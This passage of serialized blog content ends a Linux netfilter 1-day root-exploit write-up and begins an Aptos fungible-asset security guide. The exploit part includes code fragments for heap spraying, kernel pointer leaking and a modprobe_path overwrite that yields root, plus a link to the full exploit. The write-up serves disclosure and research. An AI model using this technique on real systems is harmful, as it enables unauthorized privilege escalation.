modprobe\"",{"type":23,"tag":213,"props":60512,"children":60513},{"style":220},[60514],{"type":28,"value":2867},{"type":23,"tag":213,"props":60516,"children":60517},{"class":215,"line":23557},[60518,60522],{"type":23,"tag":213,"props":60519,"children":60520},{"style":1362},[60521],{"type":28,"value":3395},{"type":23,"tag":213,"props":60523,"children":60524},{"style":220},[60525],{"type":28,"value":313},{"type":23,"tag":213,"props":60527,"children":60528},{"class":215,"line":23592},[60529],{"type":23,"tag":213,"props":60530,"children":60531},{"style":220},[60532],{"type":28,"value":3444},{"type":23,"tag":213,"props":60534,"children":60535},{"class":215,"line":23600},[60536],{"type":23,"tag":213,"props":60537,"children":60538},{"emptyLinePlaceholder":18},[60539],{"type":28,"value":530},{"type":23,"tag":213,"props":60541,"children":60542},{"class":215,"line":23608},[60543,60547,60551,60556],{"type":23,"tag":213,"props":60544,"children":60545},{"style":1362},[60546],{"type":28,"value":3369},{"type":23,"tag":213,"props":60548,"children":60549},{"style":220},[60550],{"type":28,"value":400},{"type":23,"tag":213,"props":60552,"children":60553},{"style":257},[60554],{"type":28,"value":60555},"trigger_modprobe",{"type":23,"tag":213,"props":60557,"children":60558},{"style":220},[60559],{"type":28,"value":60560},"(status_fd))\n",{"type":23,"tag":213,"props":60562,"children":60563},{"class":215,"line":23617},[60564],{"type":23,"tag":213,"props":60565,"children":60566},{"style":220},[60567],{"type":28,"value":31715},{"type":23,"tag":213,"props":60569,"children":60570},{"class":215,"line":23659},[60571,60575,60579,60583,60587,60592],{"type":23,"tag":213,"props":60572,"children":60573},{"style":257},[60574],{"type":28,"value":60501},{"type":23,"tag":213,"props":60576,"children":60577},{"style":220},[60578],{"type":28,"value":265},{"type":23,"tag":213,"props":60580,"children":60581},{"style":246},[60582],{"type":28,"value":20114},{"type":23,"tag":213,"props":60584,"children":60585},{"style":48425},[60586],{"type":28,"value":48428},{"type":23,"tag":213,"props":60588,"children":60589},{"style":246},[60590],{"type":28,"value":60591},"[+] got root\"",{"type":23,"tag":213,"props":60593,"children":60594},{"style":220},[60595],{"type":28,"value":2867},{"type":23,"tag":213,"props":60597,"children":60598},{"class":215,"line":23692},[60599,60604],{"type":23,"tag":213,"props":60600,"children":60601},{"style":1362},[60602],{"type":28,"value":60603}," goto",{"type":23,"tag":213,"props":60605,"children":60606},{"style":220},[60607],{"type":28,"value":60608}," out;\n",{"type":23,"tag":213,"props":60610,"children":60611},{"class":215,"line":23700},[60612],{"type":23,"tag":213,"props":60613,"children":60614},{"style":220},[60615],{"type":28,"value":3444},{"type":23,"tag":213,"props":60617,"children":60618},{"class":215,"line":23708},[60619],{"type":23,"tag":213,"props":60620,"children":60621},{"emptyLinePlaceholder":18},[60622],{"type":28,"value":530},{"type":23,"tag":213,"props":60624,"children":60625},{"class":215,"line":23717},[60626,60631,60635,60639,60643,60647,60651,60655,60659,60664,60668],{"type":23,"tag":213,"props":60627,"children":60628},{"style":1362},[60629],{"type":28,"value":60630}," for",{"type":23,"tag":213,"props":60632,"children":60633},{"style":220},[60634],{"type":28,"value":400},{"type":23,"tag":213,"props":60636,"children":60637},{"style":230},[60638],{"type":28,"value":19100},{"type":23,"tag":213,"props":60640,"children":60641},{"style":220},[60642],{"type":28,"value":54597},{"type":23,"tag":213,"props":60644,"children":60645},{"style":274},[60646],{"type":28,"value":3190},{"type":23,"tag":213,"props":60648,"children":60649},{"style":514},[60650],{"type":28,"value":517},{"type":23,"tag":213,"props":60652,"children":60653},{"style":220},[60654],{"type":28,"value":51286},{"type":23,"tag":213,"props":60656,"children":60657},{"style":274},[60658],{"type":28,"value":434},{"type":23,"tag":213,"props":60660,"children":60661},{"style":220},[60662],{"type":28,"value":60663}," SKBUF_SPRAY; i",{"type":23,"tag":213,"props":60665,"children":60666},{"style":274},[60667],{"type":28,"value":51322},{"type":23,"tag":213,"props":60669,"children":60670},{"style":220},[60671],{"type":28,"value":2183},{"type":23,"tag":213,"props":60673,"children":60674},{"class":215,"line":23793},[60675],{"type":23,"tag":213,"props":60676,"children":60677},{"style":220},[60678],{"type":28,"value":31715},{"type":23,"tag":213,"props":60680,"children":60681},{"class":215,"line":23826},[60682,60686,60690,60695,60699,60704,60709,60713,60718,60722,60726,60731,60735,60739,60743],{"type":23,"tag":213,"props":60683,"children":60684},{"style":1362},[60685],{"type":28,"value":58854},{"type":23,"tag":213,"props":60687,"children":60688},{"style":220},[60689],{"type":28,"value":400},{"type":23,"tag":213,"props":60691,"children":60692},{"style":257},[60693],{"type":28,"value":60694},"read",{"type":23,"tag":213,"props":60696,"children":60697},{"style":220},[60698],{"type":28,"value":265},{"type":23,"tag":213,"props":60700,"children":60701},{"style":268},[60702],{"type":28,"value":60703},"sock",{"type":23,"tag":213,"props":60705,"children":60706},{"style":220},[60707],{"type":28,"value":60708},"[i][",{"type":23,"tag":213,"props":60710,"children":60711},{"style":514},[60712],{"type":28,"value":4106},{"type":23,"tag":213,"props":60714,"children":60715},{"style":220},[60716],{"type":28,"value":60717},"], leak, ",{"type":23,"tag":213,"props":60719,"children":60720},{"style":514},[60721],{"type":28,"value":58201},{"type":23,"tag":213,"props":60723,"children":60724},{"style":274},[60725],{"type":28,"value":51308},{"type":23,"tag":213,"props":60727,"children":60728},{"style":514},[60729],{"type":28,"value":60730}," 320",{"type":23,"tag":213,"props":60732,"children":60733},{"style":220},[60734],{"type":28,"value":298},{"type":23,"tag":213,"props":60736,"children":60737},{"style":274},[60738],{"type":28,"value":434},{"type":23,"tag":213,"props":60740,"children":60741},{"style":514},[60742],{"type":28,"value":517},{"type":23,"tag":213,"props":60744,"children":60745},{"style":220},[60746],{"type":28,"value":2183},{"type":23,"tag":213,"props":60748,"children":60749},{"class":215,"line":23834},[60750],{"type":23,"tag":213,"props":60751,"children":60752},{"style":220},[60753],{"type":28,"value":31751},{"type":23,"tag":213,"props":60755,"children":60756},{"class":215,"line":23842},[60757,60762,60766,60771],{"type":23,"tag":213,"props":60758,"children":60759},{"style":257},[60760],{"type":28,"value":60761}," perror",{"type":23,"tag":213,"props":60763,"children":60764},{"style":220},[60765],{"type":28,"value":265},{"type":23,"tag":213,"props":60767,"children":60768},{"style":246},[60769],{"type":28,"value":60770},"\"[-] read(socket)\"",{"type":23,"tag":213,"props":60772,"children":60773},{"style":220},[60774],{"type":28,"value":2867},{"type":23,"tag":213,"props":60776,"children":60777},{"class":215,"line":23879},[60778,60783,60787,60791],{"type":23,"tag":213,"props":60779,"children":60780},{"style":1362},[60781],{"type":28,"value":60782}," return",{"type":23,"tag":213,"props":60784,"children":60785},{"style":274},[60786],{"type":28,"value":51308},{"type":23,"tag":213,"props":60788,"children":60789},{"style":514},[60790],{"type":28,"value":4106},{"type":23,"tag":213,"props":60792,"children":60793},{"style":220},[60794],{"type":28,"value":313},{"type":23,"tag":213,"props":60796,"children":60797},{"class":215,"line":23892},[60798],{"type":23,"tag":213,"props":60799,"children":60800},{"style":220},[60801],{"type":28,"value":58938},{"type":23,"tag":213,"props":60803,"children":60804},{"class":215,"line":23905},[60805],{"type":23,"tag":213,"props":60806,"children":60807},{"style":220},[60808],{"type":28,"value":3444},{"type":23,"tag":213,"props":60810,"children":60811},{"class":215,"line":23918},[60812],{"type":23,"tag":213,"props":60813,"children":60814},{"style":220},[60815],{"type":28,"value":2875},{"type":23,"tag":213,"props":60817,"children":60818},{"class":215,"line":23972},[60819,60823,60827,60832],{"type":23,"tag":213,"props":60820,"children":60821},{"style":257},[60822],{"type":28,"value":55559},{"type":23,"tag":213,"props":60824,"children":60825},{"style":220},[60826],{"type":28,"value":265},{"type":23,"tag":213,"props":60828,"children":60829},{"style":246},[60830],{"type":28,"value":60831},"\"[-] fake modprobe failed\"",{"type":23,"tag":213,"props":60833,"children":60834},{"style":220},[60835],{"type":28,"value":2867},{"type":23,"tag":213,"props":60837,"children":60838},{"class":215,"line":23980},[60839],{"type":23,"tag":213,"props":60840,"children":60841},{"style":220},[60842],{"type":28,"value":10401},{"type":23,"tag":24,"props":60844,"children":60845},{},[60846,60848,60855],{"type":28,"value":60847},"This trick has already been throughly detailed by ",{"type":23,"tag":36,"props":60849,"children":60852},{"href":60850,"rel":60851},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[40],[60853],{"type":28,"value":60854},"lau",{"type":28,"value":60856},", so we won't go much more into it.",{"type":23,"tag":9693,"props":60858,"children":60860},{"id":60859},"universal-exploit-demo",[60861],{"type":28,"value":60862},"Universal exploit demo",{"type":23,"tag":24,"props":60864,"children":60865},{},[60866,60868,60874],{"type":28,"value":60867},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":36,"props":60869,"children":60872},{"href":60870,"rel":60871},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[40],[60873],{"type":28,"value":57468},{"type":28,"value":124},{"type":23,"tag":47,"props":60876,"children":60878},{"id":60877},"disclosure-timeline",[60879],{"type":28,"value":60880},"Disclosure Timeline",{"type":23,"tag":168,"props":60882,"children":60883},{},[60884,60889,60894,60899,60904],{"type":23,"tag":135,"props":60885,"children":60886},{},[60887],{"type":28,"value":60888},"March 21st -- Patch made public",{"type":23,"tag":135,"props":60890,"children":60891},{},[60892],{"type":28,"value":60893},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":135,"props":60895,"children":60896},{},[60897],{"type":28,"value":60898},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":135,"props":60900,"children":60901},{},[60902],{"type":28,"value":60903},"March 26th -- Wrote Universal exploit",{"type":23,"tag":135,"props":60905,"children":60906},{},[60907],{"type":28,"value":60908},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":24,"props":60910,"children":60911},{},[60912],{"type":28,"value":60913},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":47,"props":60915,"children":60916},{"id":28989},[60917],{"type":28,"value":19000},{"type":23,"tag":24,"props":60919,"children":60920},{},[60921],{"type":28,"value":60922},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":24,"props":60924,"children":60925},{},[60926],{"type":28,"value":60927},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":23,"tag":2957,"props":60929,"children":60930},{},[60931],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":60933},[60934,60937,60940,60943,60944,60954,60962,60963],{"id":50620,"depth":226,"text":50623,"children":60935},[60936],{"id":50641,"depth":524,"text":50644},{"id":50684,"depth":226,"text":50684,"children":60938},[60939],{"id":50731,"depth":524,"text":50734},{"id":50789,"depth":226,"text":50792,"children":60941},[60942],{"id":51952,"depth":524,"text":51955},{"id":53827,"depth":226,"text":53830},{"id":54229,"depth":226,"text":54232,"children":60945},[60946,60947,60948,60950,60951,60952,60953],{"id":54256,"depth":524,"text":54259},{"id":55138,"depth":524,"text":55141},{"id":55723,"depth":524,"text":60949},"Leaking self pointer of nft_object",{"id":56121,"depth":524,"text":56124},{"id":56635,"depth":524,"text":56638},{"id":56765,"depth":524,"text":56422},{"id":57449,"depth":524,"text":57452},{"id":57472,"depth":226,"text":57475,"children":60955},[60956,60957,60958,60959,60961],{"id":57483,"depth":524,"text":57486},{"id":58341,"depth":524,"text":58344},{"id":58417,"depth":524,"text":58420},{"id":60042,"depth":524,"text":60960},"Overwriting modprobe_path",{"id":60859,"depth":524,"text":60862},{"id":60877,"depth":226,"text":60880},{"id":28989,"depth":226,"text":19000},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":60968,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":60969,"description":60970,"image":60971,"date":60973,"isFeatured":18,"onBlogPage":18,"tags":60974,"body":60975,"_type":2967,"_id":67692,"_source":2969,"_file":67693,"_stem":67694,"_extension":2972},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":60972,"width":5478,"height":5479},"/posts/aptos-guide/title.png","2025-02-10",[5972],{"type":20,"children":60976,"toc":67676},[60977,60990,60995,61004,61010,61038,61111,61151,61185,61346,61365,61446,61486,61514,61531,61536,61544,61549,61555,61576,61656,61689,61697,61710,61715,62099,62104,62109,62115,62120,62132,62236,62274,62277,62295,62603,62608,62620,62626,62652,62673,62678,62857,62877,62883,62903,62915,62920,62926,62938,63001,63028,63052,63273,63276,63295,63405,63462,63598,63625,63631,63657,63900,63928,64230,64263,64277,64303,64336,64643,64655,64932,64946,65263,65282,65288,65320,65360,65461,65481,65601,65618,65692,65704,65792,65813,65819,65824,65829,65846,65867,66238,66297,66302,66753,66758,66794,66800,66812,66834,66860,67067,67081,67336,67348,67375,67526,67545,67575,67579,67590,67595,67608,67672],{"type":23,"tag":24,"props":60978,"children":60979},{},[60980,60982,60988],{"type":28,"value":60981},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":209,"props":60983,"children":60985},{"className":60984},[],[60986],{"type":28,"value":60987},"coin",{"type":28,"value":60989}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":24,"props":60991,"children":60992},{},[60993],{"type":28,"value":60994},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":60996,"props":60997,"children":60998},"important",{},[60999],{"type":23,"tag":24,"props":61000,"children":61001},{},[61002],{"type":28,"value":61003},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":47,"props":61005,"children":61007},{"id":61006},"aptos-coin-standard",[61008],{"type":28,"value":61009},"Aptos Coin standard",{"type":23,"tag":24,"props":61011,"children":61012},{},[61013,61015,61021,61023,61028,61029,61036],{"type":28,"value":61014},"In the beginning, Aptos used ",{"type":23,"tag":209,"props":61016,"children":61018},{"className":61017},[],[61019],{"type":28,"value":61020},"Coin",{"type":28,"value":61022},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":209,"props":61024,"children":61026},{"className":61025},[],[61027],{"type":28,"value":61020},{"type":28,"value":5594},{"type":23,"tag":36,"props":61030,"children":61033},{"href":61031,"rel":61032},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[40],[61034],{"type":28,"value":61035},"defined",{"type":28,"value":61037}," in Aptos as follows:",{"type":23,"tag":202,"props":61039,"children":61041},{"className":206,"code":61040,"language":205,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[61042],{"type":23,"tag":209,"props":61043,"children":61044},{"__ignoreMap":7},[61045,61084,61104],{"type":23,"tag":213,"props":61046,"children":61047},{"class":215,"line":216},[61048,61052,61056,61060,61064,61068,61072,61076,61080],{"type":23,"tag":213,"props":61049,"children":61050},{"style":230},[61051],{"type":28,"value":9486},{"type":23,"tag":213,"props":61053,"children":61054},{"style":290},[61055],{"type":28,"value":5895},{"type":23,"tag":213,"props":61057,"children":61058},{"style":220},[61059],{"type":28,"value":434},{"type":23,"tag":213,"props":61061,"children":61062},{"style":268},[61063],{"type":28,"value":5904},{"type":23,"tag":213,"props":61065,"children":61066},{"style":290},[61067],{"type":28,"value":5909},{"type":23,"tag":213,"props":61069,"children":61070},{"style":220},[61071],{"type":28,"value":5914},{"type":23,"tag":213,"props":61073,"children":61074},{"style":268},[61075],{"type":28,"value":5919},{"type":23,"tag":213,"props":61077,"children":61078},{"style":268},[61079],{"type":28,"value":5924},{"type":23,"tag":213,"props":61081,"children":61082},{"style":220},[61083],{"type":28,"value":1375},{"type":23,"tag":213,"props":61085,"children":61086},{"class":215,"line":226},[61087,61092,61096,61100],{"type":23,"tag":213,"props":61088,"children":61089},{"style":268},[61090],{"type":28,"value":61091}," value",{"type":23,"tag":213,"props":61093,"children":61094},{"style":274},[61095],{"type":28,"value":277},{"type":23,"tag":213,"props":61097,"children":61098},{"style":290},[61099],{"type":28,"value":308},{"type":23,"tag":213,"props":61101,"children":61102},{"style":220},[61103],{"type":28,"value":944},{"type":23,"tag":213,"props":61105,"children":61106},{"class":215,"line":524},[61107],{"type":23,"tag":213,"props":61108,"children":61109},{"style":220},[61110],{"type":28,"value":1208},{"type":23,"tag":24,"props":61112,"children":61113},{},[61114,61116,61121,61123,61129,61130,61136,61138,61143,61145,61150],{"type":28,"value":61115},"Aptos distinguishes coins by their type (",{"type":23,"tag":209,"props":61117,"children":61119},{"className":61118},[],[61120],{"type":28,"value":6676},{"type":28,"value":61122},") at compile time. For example, ",{"type":23,"tag":209,"props":61124,"children":61126},{"className":61125},[],[61127],{"type":28,"value":61128},"Coin\u003COtter>",{"type":28,"value":1466},{"type":23,"tag":209,"props":61131,"children":61133},{"className":61132},[],[61134],{"type":28,"value":61135},"Coin\u003CWeasel>",{"type":28,"value":61137}," represent different coins, and you cannot pass a ",{"type":23,"tag":209,"props":61139,"children":61141},{"className":61140},[],[61142],{"type":28,"value":61135},{"type":28,"value":61144}," to a function expecting ",{"type":23,"tag":209,"props":61146,"children":61148},{"className":61147},[],[61149],{"type":28,"value":61128},{"type":28,"value":124},{"type":23,"tag":24,"props":61152,"children":61153},{},[61154,61156,61161,61163,61168,61170,61175,61177,61183],{"type":28,"value":61155},"The type signature reveals why ",{"type":23,"tag":209,"props":61157,"children":61159},{"className":61158},[],[61160],{"type":28,"value":61020},{"type":28,"value":61162}," has become a legacy standard. ",{"type":23,"tag":209,"props":61164,"children":61166},{"className":61165},[],[61167],{"type":28,"value":61020},{"type":28,"value":61169}," has only the ",{"type":23,"tag":209,"props":61171,"children":61173},{"className":61172},[],[61174],{"type":28,"value":6032},{"type":28,"value":61176}," ability and uses a ",{"type":23,"tag":209,"props":61178,"children":61180},{"className":61179},[],[61181],{"type":28,"value":61182},"CoinStore",{"type":28,"value":61184}," wrapper to store the coin and metadata:",{"type":23,"tag":202,"props":61186,"children":61188},{"className":206,"code":61187,"language":205,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[61189],{"type":23,"tag":209,"props":61190,"children":61191},{"__ignoreMap":7},[61192,61232,61260,61280,61310,61339],{"type":23,"tag":213,"props":61193,"children":61194},{"class":215,"line":216},[61195,61199,61204,61208,61212,61216,61220,61224,61228],{"type":23,"tag":213,"props":61196,"children":61197},{"style":230},[61198],{"type":28,"value":9486},{"type":23,"tag":213,"props":61200,"children":61201},{"style":290},[61202],{"type":28,"value":61203}," CoinStore",{"type":23,"tag":213,"props":61205,"children":61206},{"style":220},[61207],{"type":28,"value":434},{"type":23,"tag":213,"props":61209,"children":61210},{"style":268},[61211],{"type":28,"value":5904},{"type":23,"tag":213,"props":61213,"children":61214},{"style":290},[61215],{"type":28,"value":5909},{"type":23,"tag":213,"props":61217,"children":61218},{"style":220},[61219],{"type":28,"value":5914},{"type":23,"tag":213,"props":61221,"children":61222},{"style":268},[61223],{"type":28,"value":5919},{"type":23,"tag":213,"props":61225,"children":61226},{"style":268},[61227],{"type":28,"value":918},{"type":23,"tag":213,"props":61229,"children":61230},{"style":220},[61231],{"type":28,"value":1375},{"type":23,"tag":213,"props":61233,"children":61234},{"class":215,"line":226},[61235,61240,61244,61248,61252,61256],{"type":23,"tag":213,"props":61236,"children":61237},{"style":268},[61238],{"type":28,"value":61239}," coin",{"type":23,"tag":213,"props":61241,"children":61242},{"style":274},[61243],{"type":28,"value":277},{"type":23,"tag":213,"props":61245,"children":61246},{"style":290},[61247],{"type":28,"value":5895},{"type":23,"tag":213,"props":61249,"children":61250},{"style":220},[61251],{"type":28,"value":434},{"type":23,"tag":213,"props":61253,"children":61254},{"style":290},[61255],{"type":28,"value":6676},{"type":23,"tag":213,"props":61257,"children":61258},{"style":220},[61259],{"type":28,"value":6230},{"type":23,"tag":213,"props":61261,"children":61262},{"class":215,"line":524},[61263,61268,61272,61276],{"type":23,"tag":213,"props":61264,"children":61265},{"style":268},[61266],{"type":28,"value":61267}," frozen",{"type":23,"tag":213,"props":61269,"children":61270},{"style":274},[61271],{"type":28,"value":277},{"type":23,"tag":213,"props":61273,"children":61274},{"style":290},[61275],{"type":28,"value":965},{"type":23,"tag":213,"props":61277,"children":61278},{"style":220},[61279],{"type":28,"value":944},{"type":23,"tag":213,"props":61281,"children":61282},{"class":215,"line":533},[61283,61288,61292,61297,61301,61306],{"type":23,"tag":213,"props":61284,"children":61285},{"style":268},[61286],{"type":28,"value":61287}," deposit_events",{"type":23,"tag":213,"props":61289,"children":61290},{"style":274},[61291],{"type":28,"value":277},{"type":23,"tag":213,"props":61293,"children":61294},{"style":290},[61295],{"type":28,"value":61296}," EventHandle",{"type":23,"tag":213,"props":61298,"children":61299},{"style":220},[61300],{"type":28,"value":434},{"type":23,"tag":213,"props":61302,"children":61303},{"style":290},[61304],{"type":28,"value":61305},"DepositEvent",{"type":23,"tag":213,"props":61307,"children":61308},{"style":220},[61309],{"type":28,"value":6230},{"type":23,"tag":213,"props":61311,"children":61312},{"class":215,"line":543},[61313,61318,61322,61326,61330,61335],{"type":23,"tag":213,"props":61314,"children":61315},{"style":268},[61316],{"type":28,"value":61317}," withdraw_events",{"type":23,"tag":213,"props":61319,"children":61320},{"style":274},[61321],{"type":28,"value":277},{"type":23,"tag":213,"props":61323,"children":61324},{"style":290},[61325],{"type":28,"value":61296},{"type":23,"tag":213,"props":61327,"children":61328},{"style":220},[61329],{"type":28,"value":434},{"type":23,"tag":213,"props":61331,"children":61332},{"style":290},[61333],{"type":28,"value":61334},"WithdrawEvent",{"type":23,"tag":213,"props":61336,"children":61337},{"style":220},[61338],{"type":28,"value":6230},{"type":23,"tag":213,"props":61340,"children":61341},{"class":215,"line":551},[61342],{"type":23,"tag":213,"props":61343,"children":61344},{"style":220},[61345],{"type":28,"value":1208},{"type":23,"tag":24,"props":61347,"children":61348},{},[61349,61351,61356,61358,61363],{"type":28,"value":61350},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":209,"props":61352,"children":61354},{"className":61353},[],[61355],{"type":28,"value":61020},{"type":28,"value":61357}," can be stored. You can create your own ",{"type":23,"tag":209,"props":61359,"children":61361},{"className":61360},[],[61362],{"type":28,"value":61020},{"type":28,"value":61364}," wallet, which could look like this:",{"type":23,"tag":202,"props":61366,"children":61368},{"className":206,"code":61367,"language":205,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[61369],{"type":23,"tag":209,"props":61370,"children":61371},{"__ignoreMap":7},[61372,61412,61439],{"type":23,"tag":213,"props":61373,"children":61374},{"class":215,"line":216},[61375,61379,61384,61388,61392,61396,61400,61404,61408],{"type":23,"tag":213,"props":61376,"children":61377},{"style":230},[61378],{"type":28,"value":9486},{"type":23,"tag":213,"props":61380,"children":61381},{"style":290},[61382],{"type":28,"value":61383}," DefinitelyLegitCoinStore",{"type":23,"tag":213,"props":61385,"children":61386},{"style":220},[61387],{"type":28,"value":434},{"type":23,"tag":213,"props":61389,"children":61390},{"style":268},[61391],{"type":28,"value":5904},{"type":23,"tag":213,"props":61393,"children":61394},{"style":290},[61395],{"type":28,"value":5909},{"type":23,"tag":213,"props":61397,"children":61398},{"style":220},[61399],{"type":28,"value":5914},{"type":23,"tag":213,"props":61401,"children":61402},{"style":268},[61403],{"type":28,"value":5919},{"type":23,"tag":213,"props":61405,"children":61406},{"style":268},[61407],{"type":28,"value":918},{"type":23,"tag":213,"props":61409,"children":61410},{"style":220},[61411],{"type":28,"value":1375},{"type":23,"tag":213,"props":61413,"children":61414},{"class":215,"line":226},[61415,61419,61423,61427,61431,61435],{"type":23,"tag":213,"props":61416,"children":61417},{"style":268},[61418],{"type":28,"value":61239},{"type":23,"tag":213,"props":61420,"children":61421},{"style":274},[61422],{"type":28,"value":277},{"type":23,"tag":213,"props":61424,"children":61425},{"style":290},[61426],{"type":28,"value":5895},{"type":23,"tag":213,"props":61428,"children":61429},{"style":220},[61430],{"type":28,"value":434},{"type":23,"tag":213,"props":61432,"children":61433},{"style":290},[61434],{"type":28,"value":6676},{"type":23,"tag":213,"props":61436,"children":61437},{"style":220},[61438],{"type":28,"value":6084},{"type":23,"tag":213,"props":61440,"children":61441},{"class":215,"line":524},[61442],{"type":23,"tag":213,"props":61443,"children":61444},{"style":220},[61445],{"type":28,"value":1208},{"type":23,"tag":24,"props":61447,"children":61448},{},[61449,61454,61456,61462,61464,61469,61471,61477,61479,61484],{"type":23,"tag":209,"props":61450,"children":61452},{"className":61451},[],[61453],{"type":28,"value":61182},{"type":28,"value":61455}," includes a ",{"type":23,"tag":209,"props":61457,"children":61459},{"className":61458},[],[61460],{"type":28,"value":61461},"frozen",{"type":28,"value":61463}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":209,"props":61465,"children":61467},{"className":61466},[],[61468],{"type":28,"value":61182},{"type":28,"value":61470}," is also required for a ",{"type":23,"tag":209,"props":61472,"children":61474},{"className":61473},[],[61475],{"type":28,"value":61476},"burn_from",{"type":28,"value":61478}," operation, which withdraws the ",{"type":23,"tag":209,"props":61480,"children":61482},{"className":61481},[],[61483],{"type":28,"value":60987},{"type":28,"value":61485}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":24,"props":61487,"children":61488},{},[61489,61491,61496,61498,61505,61507,61512],{"type":28,"value":61490},"Storing ",{"type":23,"tag":209,"props":61492,"children":61494},{"className":61493},[],[61495],{"type":28,"value":60987},{"type":28,"value":61497}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":36,"props":61499,"children":61502},{"href":61500,"rel":61501},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[40],[61503],{"type":28,"value":61504},"AIP-21",{"type":28,"value":61506}," summarizes the ",{"type":23,"tag":209,"props":61508,"children":61510},{"className":61509},[],[61511],{"type":28,"value":60987},{"type":28,"value":61513}," problems:",{"type":23,"tag":3036,"props":61515,"children":61516},{},[61517,61526],{"type":23,"tag":24,"props":61518,"children":61519},{},[61520,61524],{"type":23,"tag":213,"props":61521,"children":61522},{},[61523],{"type":28,"value":9675},{"type":28,"value":61525}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":24,"props":61527,"children":61528},{},[61529],{"type":28,"value":61530},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":24,"props":61532,"children":61533},{},[61534],{"type":28,"value":61535},"And declares, that:",{"type":23,"tag":3036,"props":61537,"children":61538},{},[61539],{"type":23,"tag":24,"props":61540,"children":61541},{},[61542],{"type":28,"value":61543},"Fungible assets addresses these issues.",{"type":23,"tag":24,"props":61545,"children":61546},{},[61547],{"type":28,"value":61548},"Let's find out whether this is indeed the case.",{"type":23,"tag":47,"props":61550,"children":61552},{"id":61551},"the-fungible-assets",[61553],{"type":28,"value":61554},"The fungible assets",{"type":23,"tag":24,"props":61556,"children":61557},{},[61558,61560,61566,61568,61575],{"type":28,"value":61559},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":209,"props":61561,"children":61563},{"className":61562},[],[61564],{"type":28,"value":61565},"FungibleAsset",{"type":28,"value":61567}," uses the ",{"type":23,"tag":36,"props":61569,"children":61572},{"href":61570,"rel":61571},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[40],[61573],{"type":28,"value":61574},"hot-potato pattern",{"type":28,"value":277},{"type":23,"tag":202,"props":61577,"children":61579},{"className":206,"code":61578,"language":205,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[61580],{"type":23,"tag":209,"props":61581,"children":61582},{"__ignoreMap":7},[61583,61599,61629,61649],{"type":23,"tag":213,"props":61584,"children":61585},{"class":215,"line":216},[61586,61590,61595],{"type":23,"tag":213,"props":61587,"children":61588},{"style":230},[61589],{"type":28,"value":9486},{"type":23,"tag":213,"props":61591,"children":61592},{"style":290},[61593],{"type":28,"value":61594}," FungibleAsset",{"type":23,"tag":213,"props":61596,"children":61597},{"style":220},[61598],{"type":28,"value":1375},{"type":23,"tag":213,"props":61600,"children":61601},{"class":215,"line":226},[61602,61607,61611,61616,61620,61625],{"type":23,"tag":213,"props":61603,"children":61604},{"style":268},[61605],{"type":28,"value":61606}," 